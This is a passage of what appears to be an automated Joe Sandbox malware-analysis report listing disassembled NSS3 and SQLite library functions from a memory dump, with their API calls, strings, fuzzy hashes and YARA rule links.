Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: ebb0575c473ff1ea33d7470475006732366f504b8817f220dcf6f15524bfd90a
Instruction ID: 3e856e0baa370f93de1b6688ce370b167014efd969db3792465f9886b2201cb6
Opcode Fuzzy Hash: ebb0575c473ff1ea33d7470475006732366f504b8817f220dcf6f15524bfd90a
Instruction Fuzzy Hash: CC01ADB6A00204BBDF11AF65EC8589B3F6DEF46368F004065FD1A97601D631EE2087AA

Function 6C691C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=Yl,?,?,6C594E1D), ref: 6C691C8A
sqlite3_free.NSS3(00000000), ref: 6C691CB6

Strings

a CHECK constraint, xrefs: 6C691C76, 6C691C81
non-deterministic use of %s() in %s, xrefs: 6C691C85
an index, xrefs: 6C691C67
a generated column, xrefs: 6C691C6C
w=Yl, xrefs: 6C691C44

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=Yl
API String ID: 1840970956-2161169664
Opcode ID: 92923ac81866f5286ddd57a2dda09aff872f332ce378ce75e1a0592c5cd0e24e
Instruction ID: 247df7339d73646197c5e0c7b5d9a7926cf29d4643b22dce6894a1d9d97b5cc6
Opcode Fuzzy Hash: 92923ac81866f5286ddd57a2dda09aff872f332ce378ce75e1a0592c5cd0e24e
Instruction Fuzzy Hash: 0B014CB5A001049BD700BF2CD84297177E5EFC634CB15086DDC458BB52EB31EC56C755

Function 6C674D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C674DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C674DE0

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C674DCB
%s at line %d of [%.10s], xrefs: 6C674DDA
invalid, xrefs: 6C674DB8
API call with %s database connection pointer, xrefs: 6C674DBD
misuse, xrefs: 6C674DD5

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 1ac1ced969a1bb2b16d60df67a9a5bcaa05f6a6eccbc1e2c28d3a929b61612f2
Instruction ID: 2eb1289bfd0f66bf9187a9419378cca65a69f056fe1cf514a66f9de65d8fec36
Opcode Fuzzy Hash: 1ac1ced969a1bb2b16d60df67a9a5bcaa05f6a6eccbc1e2c28d3a929b61612f2
Instruction Fuzzy Hash: 50F05921F085246BE7105015DE28FE733D54F02329F470DA1ED446BE93D24ABC508AED

Function 6C674DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C674E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C674E4D

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C674E38
%s at line %d of [%.10s], xrefs: 6C674E47
invalid, xrefs: 6C674E25
API call with %s database connection pointer, xrefs: 6C674E2A
misuse, xrefs: 6C674E42

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: a8045c8905c8a7b446ff130ca8ceb45c61c795945591d4802f8e96ecbf465385
Instruction ID: 3aa69f06d319f9493e1ab1a8857bca76665f5b1752930fee05f4c514d4846878
Opcode Fuzzy Hash: a8045c8905c8a7b446ff130ca8ceb45c61c795945591d4802f8e96ecbf465385
Instruction Fuzzy Hash: 0AF02E11F489186BE63052159C18FF737854B0133AF4A4CA1EA0467E93D749AC735AFD

Function 6C5A9FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5AA086
EnterCriticalSection.KERNEL32(?), ref: 6C5AA09B
PR_Unlock.NSS3(?), ref: 6C5AA0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5AA0E9
TlsGetValue.KERNEL32 ref: 6C5AA11B
EnterCriticalSection.KERNEL32(?), ref: 6C5AA12F
PR_Unlock.NSS3(?), ref: 6C5AA148

Part of subcall function 6C5C1A40: PR_Now.NSS3(?,00000000,6C5A28AD,00000000,?,6C5BF09A,00000000,6C5A28AD,6C5A93B0,?,6C5A93B0,6C5A28AD,00000000,?,00000000), ref: 6C5C1A65

Part of subcall function 6C5C1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C5C4126,?), ref: 6C5C1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5AA1A3

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 74a902ff2c068176366164e7d036997c728cb35340cb916a3e510a81b351ccb1
Instruction ID: 3182e5bca730b11291953bc25aadc6811210e072071736bb9d2e7e27513670d1
Opcode Fuzzy Hash: 74a902ff2c068176366164e7d036997c728cb35340cb916a3e510a81b351ccb1
Instruction Fuzzy Hash: 6851C8B5A00201ABEB109FABDC44AAF77B9BF86308F15852DDC1997701EF31D946CA91

Function 6C5E0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C5E1444,?,00000001,?,00000000,00000000,?,?,6C5E1444,?,?,00000000,?,?), ref: 6C5E0CB3

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C5E1444,?,00000001,?,00000000,00000000,?,?,6C5E1444,?), ref: 6C5E0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C5E1444,?,00000001,?,00000000,00000000,?,?,6C5E1444,?), ref: 6C5E0DEC

Part of subcall function 6C600F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C5A2AF5,?,?,?,?,?,6C5A0A1B,00000000), ref: 6C600F1A
Part of subcall function 6C600F10: malloc.MOZGLUE(00000001), ref: 6C600F30
Part of subcall function 6C600F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C600F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C5E1444,?,00000001,?,00000000,00000000,?), ref: 6C5E0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C5E1444,?,00000001,?,00000000), ref: 6C5E0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5E1444,?,00000001,?,00000000,00000000,?), ref: 6C5E0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C5E1444,?,00000001,?,00000000,00000000,?,?,6C5E1444,?,?,00000000), ref: 6C5E0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C5E1444,?,00000001,?,00000000,00000000,?), ref: 6C5E0E79

Part of subcall function 6C5F1560: TlsGetValue.KERNEL32(00000000,?,6C5C0844,?), ref: 6C5F157A
Part of subcall function 6C5F1560: EnterCriticalSection.KERNEL32(?,?,?,6C5C0844,?), ref: 6C5F158F
Part of subcall function 6C5F1560: PR_Unlock.NSS3(?,?,?,?,6C5C0844,?), ref: 6C5F15B2

Part of subcall function 6C5BB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C5C1397,00000000,?,6C5BCF93,5B5F5EC0,00000000,?,6C5C1397,?), ref: 6C5BB1CB
Part of subcall function 6C5BB1A0: free.MOZGLUE(5B5F5EC0,?,6C5BCF93,5B5F5EC0,00000000,?,6C5C1397,?), ref: 6C5BB1D2

Part of subcall function 6C5B89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C5B88AE,-00000008), ref: 6C5B8A04
Part of subcall function 6C5B89E0: EnterCriticalSection.KERNEL32(?), ref: 6C5B8A15
Part of subcall function 6C5B89E0: memset.VCRUNTIME140(6C5B88AE,00000000,00000132), ref: 6C5B8A27
Part of subcall function 6C5B89E0: PR_Unlock.NSS3(?), ref: 6C5B8A35

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 98925f0d9da71f1d26eee753076a8d224c080f6ef3dc992354587e9e23781f1d
Instruction ID: eccd63aab8cf4ee7a42015871c603cb38dad301bd6aa53c07ec8cdb2094ec24a
Opcode Fuzzy Hash: 98925f0d9da71f1d26eee753076a8d224c080f6ef3dc992354587e9e23781f1d
Instruction Fuzzy Hash: 535196F6E002019FEB009F64DD81AAB37A89F8921CF150475EC1997712FF31ED1997A6

Function 6C596E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C596ED8
sqlite3_value_text.NSS3(?,?), ref: 6C596EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C596FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C596FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C596FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C597010
sqlite3_value_blob.NSS3(?,?), ref: 6C59701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C597052

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 576a9bb712dd1f221f670df5efd3606de18f1aa4ca5585fe6575e9f65f375603
Instruction ID: f3fac11181dc5d3ff6fdb69f60c2ad4e63ec6cf5677440dabe3e1b0003e1e2a5
Opcode Fuzzy Hash: 576a9bb712dd1f221f670df5efd3606de18f1aa4ca5585fe6575e9f65f375603
Instruction Fuzzy Hash: B961F7B1E1428ACFDB40CF65CC107EEB7B2AF85308F1841A5D416ABB54EB369D19CB91

Function 6C608F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C607313), ref: 6C608FBB

Part of subcall function 6C6007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C5A8298,?,?,?,6C59FCE5,?), ref: 6C6007BF
Part of subcall function 6C6007B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6007E6
Part of subcall function 6C6007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C60081B
Part of subcall function 6C6007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C600825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C607313), ref: 6C609012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C607313), ref: 6C60903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C607313), ref: 6C60909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C607313), ref: 6C6090DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C607313), ref: 6C6090F1

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C607313), ref: 6C60906B

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C607313), ref: 6C609128

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 4c719e93695fc10708bd9705c62f3789377c59be90afe47a8cce2c767d7092c9
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 4651E971B002018FEB18CF69DE44B56B3F6AF4535CF154069E916E7B62EB32E804CB99

Function 6C5B9C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C5B8850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C5C0715), ref: 6C5B8859
Part of subcall function 6C5B8850: PR_NewLock.NSS3 ref: 6C5B8874
Part of subcall function 6C5B8850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C5B888D

PR_NewLock.NSS3 ref: 6C5B9CAD

Part of subcall function 6C6698D0: calloc.MOZGLUE(00000001,00000084,6C590936,00000001,?,6C59102C), ref: 6C6698E5

Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907AD
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907CD
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C52204A), ref: 6C5907D6
Part of subcall function 6C5907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C52204A), ref: 6C5907E4
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,6C52204A), ref: 6C590864
Part of subcall function 6C5907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C590880
Part of subcall function 6C5907A0: TlsSetValue.KERNEL32(00000000,?,?,6C52204A), ref: 6C5908CB
Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(?,?,6C52204A), ref: 6C5908D7
Part of subcall function 6C5907A0: TlsGetValue.KERNEL32(?,?,6C52204A), ref: 6C5908FB

TlsGetValue.KERNEL32 ref: 6C5B9CE8
EnterCriticalSection.KERNEL32(?,?,6C5BECEC,6C5C2FCD,00000000,?,6C5C2FCD,?), ref: 6C5B9D01
TlsGetValue.KERNEL32(?,?,?,6C5BECEC,6C5C2FCD,00000000,?,6C5C2FCD,?), ref: 6C5B9D38
EnterCriticalSection.KERNEL32(?,?,6C5BECEC,6C5C2FCD,00000000,?,6C5C2FCD,?), ref: 6C5B9D4D
PR_Unlock.NSS3 ref: 6C5B9D70
PR_Unlock.NSS3 ref: 6C5B9DC3
PR_NewLock.NSS3 ref: 6C5B9DDD

Part of subcall function 6C5B88D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C5C0725,00000000,00000058), ref: 6C5B8906
Part of subcall function 6C5B88D0: EnterCriticalSection.KERNEL32(?), ref: 6C5B891A
Part of subcall function 6C5B88D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C5B894A
Part of subcall function 6C5B88D0: calloc.MOZGLUE(00000001,6C5C072D,00000000,00000000,00000000,?,6C5C0725,00000000,00000058), ref: 6C5B8959
Part of subcall function 6C5B88D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C5B8993
Part of subcall function 6C5B88D0: PR_Unlock.NSS3(?), ref: 6C5B89AF

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 9ea67719db040c3339dd1a092b40026f33532db08f98b453afd983175a4bfce2
Instruction ID: 55346b9e0df084bc82f1975b4f9a21bcd27cfd1d49ab0f02afc30364d997c9a2
Opcode Fuzzy Hash: 9ea67719db040c3339dd1a092b40026f33532db08f98b453afd983175a4bfce2
Instruction Fuzzy Hash: B25172B4A04706DFDB00EF69C89465ABFF0BF55358F158969D858ABB10DB30E844CB91

Function 6C6B9EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C6B9EC0
EnterCriticalSection.KERNEL32(?), ref: 6C6B9EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C6B9F73
EnterCriticalSection.KERNEL32(?), ref: 6C6B9FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C6B9FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C6B9FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C6BA01D

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: f3803e78985fb4697620a314b44d156b759342ec3df78c74381ddb28840879fc
Instruction ID: a06c48948acef8704b149bdf53e7507f52924f8963ff74cbfa450854e3ac2be0
Opcode Fuzzy Hash: f3803e78985fb4697620a314b44d156b759342ec3df78c74381ddb28840879fc
Instruction Fuzzy Hash: E451B1B2800600DBCB209F26D48468AB7F4FF1531CF158569DC5967F12E731E895CB9A

Function 6C5ADCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C5ADCFA

Part of subcall function 6C669DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C6B0A27), ref: 6C669DC6
Part of subcall function 6C669DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C6B0A27), ref: 6C669DD1
Part of subcall function 6C669DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C669DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5ADD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C5ADD62
CERT_DestroyCertificate.NSS3(?), ref: 6C5ADD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C5ADD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C5ADD8F

Part of subcall function 6C5C06A0: TlsGetValue.KERNEL32 ref: 6C5C06C2
Part of subcall function 6C5C06A0: EnterCriticalSection.KERNEL32(?), ref: 6C5C06D6
Part of subcall function 6C5C06A0: PR_Unlock.NSS3 ref: 6C5C06EB

CERT_DestroyCertificate.NSS3(?), ref: 6C5ADD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C5ADDB7

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 3f88037778a0471e443844dcabde4fac64d70294ae52d70788e303da06809fee
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: BF218EB6E011299BDB01AEE6DC4199EB7B4AF49318B140424EC18A7711F732ED16CBE2

Function 6C635F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C63AADB,?,?,?,?,?,?,?,?,00000000,?,6C6380C1), ref: 6C635F72

Part of subcall function 6C59ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C59ED8F
Part of subcall function 6C59ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C59ED9E
Part of subcall function 6C59ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C59EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C63AADB,?,?,?,?,?,?,?,?,00000000,?,6C6380C1), ref: 6C635F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C63AADB,?,?,?,?,?,?,?,?,00000000,?,6C6380C1), ref: 6C635FCC
